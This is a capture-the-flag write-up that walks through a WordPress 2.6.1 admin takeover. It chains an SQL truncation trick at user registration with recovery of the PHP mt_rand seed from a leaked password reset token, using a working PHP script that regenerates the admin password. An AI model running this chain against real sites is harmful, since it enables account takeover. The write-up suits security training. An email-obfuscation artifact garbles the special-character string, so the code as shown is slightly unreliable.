Solution: SQL Truncation (Wordpress) Challenge B

Tools Used:
Reconnaissance is key for this challenge.

We start with the advisory to determine how the flow of the exploit works. In the advisory, we see the steps go as follows:

"Register 'admin' + 55 times ' ' + 'x' as a new user, which is truncated to just 'admin' + 55 times ' ' when inserted into the database."

"When the password reset is triggered with the email address of the fake admin Wordpress will generate a random password reset token, will write it into the database as current password reset token for the fake admin AND ALSO for the real admin. The password reset token is then sent to the fake admin."

"When the password reset token is used Wordpress will reset the password of the first user that token is valid for, which is the real admin user. It will auto generate a random password and send it to the real admin. At this point the real admin has his password changed to something random that is only known to the email he gets until he reads it."

"Using a fresh PHP process for the password reset in combination with the Keep-Alive attack that is described in the previously mentioned blog posting, it is however possible for an attacker to lookup the 32 bit seed used for seeding the random number generator and determine the randomly generated password for it."

Now, read the blog post on the target wordpress site. Observe that instead of using the Keep-Alive attack, the blog tells you that the RNG seed is set on a cookie, and everytime you kill the cookie you reset your RNG session to a new seed.

So let's do it. Create our fake admin user ('admin' + 55 times ' ' + 'x'). Note the email for our fake admin. Now clear your cookie to reset your RNG state. Trigger a forgot password for our fake admin email - that sets the forgot password token for BOTH admin accounts (the real and fake) due to the SQL Truncation vulnerability, and emails it to us. Note the password reset token in the url.

Now click the link sent to us in the email to reset the admin's password to a new, randomly generated one.

Now we need to take our password reset token and determine what RNG seed would randomly generate that token - then we use that seed to determine what the admin password must have randomly been set to.

To do this, we need to review the Wordpress 2.6.1 source code.

If you review wp-login.php, you'll see that the forgot password token is generated with wp_generate_password(20, false), and the password reset generates a new random password with wp_generate_password().

Now in wp-includes/pluggable.php we'll see the source of wp_generate_password(). This function basically generates random numbers and then turns it into letters for a password. We need to build a function that reverses that using the same algorithm, taking in letters and turning them into numbers.

Once we build that function, we can feed in the random numbers from our password reset token to the php_mt_seed tool to recover the seed. Once we recover the seed, we just run the wp_generate_password to re-generate the admin's password. Here is the solution script, execute it from the terminal with the php command.
function wp_generate_password($length = 12, $special_chars = true) {
	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
	if ( $special_chars )
		$chars .= '[email protected]#$%^&*()';

	$password = '';
	for ( $i = 0; $i < $length; $i++ ){
        $rng = mt_rand(0, strlen($chars) - 1);
		$password .= substr($chars, $rng, 1);
	}
	return $password;
}

function reverse_key_to_rng($key, $special_chars = true) {
	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
	if ( $special_chars )
		$chars .= '[email protected]#$%^&*()';

	$php_mt_seed_string = "";

    for ($i=0; $i < strlen($key); $i++) {
		$rng_number = strpos($chars, $key[$i]);
		$php_mt_seed_string .= " ".$rng_number." ".$rng_number." "." 0 ".(strlen($chars) - 1)."  ";
    }
    return $php_mt_seed_string;
}


print "Forgot Password token (e.g. VB9X7Eu1mLrmJ998UtgK): ";
$forgot_password_token = trim(fgets(STDIN)); //"VB9X7Eu1mLrmJ998UtgK";

$php_mt_seed_string = reverse_key_to_rng($forgot_password_token, false);

print "\n";

print "Run this: ./php_mt_seed ".$php_mt_seed_string."\n\n";

print "What seed did php_mt_seed discover? Use integer value (e.g. 111183423): ";
$seed = intval(trim(fgets(STDIN))); //111183423

mt_srand($seed);
print "\n";

if ($forgot_password_token == wp_generate_password(20, false)) {
	print "Admin Password: ".wp_generate_password();
	print "\n\n";
}
else {
	print "Error - that seed did not generate the same password reset token we started with, so it cannot be the correct seed.";
}

And with that, we have the admin password and can login, click the Users page, and retrieve the flag.

Note that the database is reset every hour, so the admin password will be 'un-reset' whenever the hour mark hits. Also note that other users may be attempting to reset the adimn's password at the same time, so you may need to prepare the script and all the heavy lifting in advance, and then execute the attack rapidly.